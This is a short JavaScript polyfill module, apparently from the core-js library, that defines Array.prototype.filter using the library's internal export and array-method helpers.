'use strict'; var $export = require('./_export') , $filter = require('./_array-methods')(2); $export($export.P + $export.F * !require('./_strict-method')([].filter, true), 'Array', { // 22.1.3.7 / 15.4.4.20 Array.prototype.filter(callbackfn [, thisArg]) filter: function filter(callbackfn /* , thisArg */){ return $filter(this, callbackfn, arguments[1]); } });
{ "pile_set_name": "Github" }